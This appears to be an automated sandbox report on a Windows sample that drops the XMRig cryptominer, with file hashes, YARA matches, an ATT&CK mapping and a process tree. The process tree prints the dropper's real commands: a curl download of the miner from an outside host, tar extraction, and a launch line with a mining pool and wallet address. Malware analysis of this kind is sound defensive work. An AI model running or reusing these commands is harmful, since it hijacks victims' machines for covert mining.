xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
1491s
max time network
1500s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
11/03/2024, 21:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

test - Copy (11).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/0x000100000002a817-21.dat	family_xmrig
behavioral4/files/0x000100000002a817-21.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Executes dropped EXE 1 IoCs

pid	Process
896	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1252 wrote to memory of 3476	1252	test - Copy (11).exe	80
PID 1252 wrote to memory of 3476	1252	test - Copy (11).exe	80
PID 3476 wrote to memory of 684	3476	cmd.exe	82
PID 3476 wrote to memory of 684	3476	cmd.exe	82
PID 3476 wrote to memory of 2404	3476	cmd.exe	84
PID 3476 wrote to memory of 2404	3476	cmd.exe	84
PID 3476 wrote to memory of 896	3476	cmd.exe	85
PID 3476 wrote to memory of 896	3476	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QbMaBZb1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:684
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:2404
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    PID:896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\QbMaBZb1.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
2.9MB

MD5
7bb7dd26c35c4c5847069a503098bbe0

SHA1
91babb3b87a3ba65a3d013ee04ab3451e8ab15bc

SHA256
e83773c97358409ddbb5f1a60156710f6ce38d249bcb9def261cb326cdaed71e

SHA512
399a09a2e594f37bbd98cbab31f651e6c62843125992328783e927d4e9bbac456eda697a1f168fb2d911433a9a6367b9068be97608764f4347441af7cbf2550c

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
7.9MB

MD5
de2bb32bf241d2432ee2fc92edd44647

SHA1
bc94d1dbb402a0cad99aef0d1a178e2665aa446c

SHA256
15bfc7b87f66c66fb5c4bbc50661a5a31482a1c36adadeea2e147ddccd633ace

SHA512
94939a0e1b9558c07ce177a7a15c723163ecc7280cafc4e4aa3e7d78a3f5866fedfa699f53fc75904cb6258a0fbde98cfe79fd77981984ac55d62f17154f7f41

Download Submit
memory/1252-0-0x00000000000D0000-0x00000000000D8000-memory.dmp

Filesize
32KB

Download
memory/1252-3-0x00007FFD5AB70000-0x00007FFD5B632000-memory.dmp

Filesize
10.8MB

Download
memory/1252-7-0x00007FFD5AB70000-0x00007FFD5B632000-memory.dmp

Filesize
10.8MB

Download
memory/1252-23-0x00007FFD5AB70000-0x00007FFD5B632000-memory.dmp

Filesize
10.8MB

Download

Resubmissions

Analysis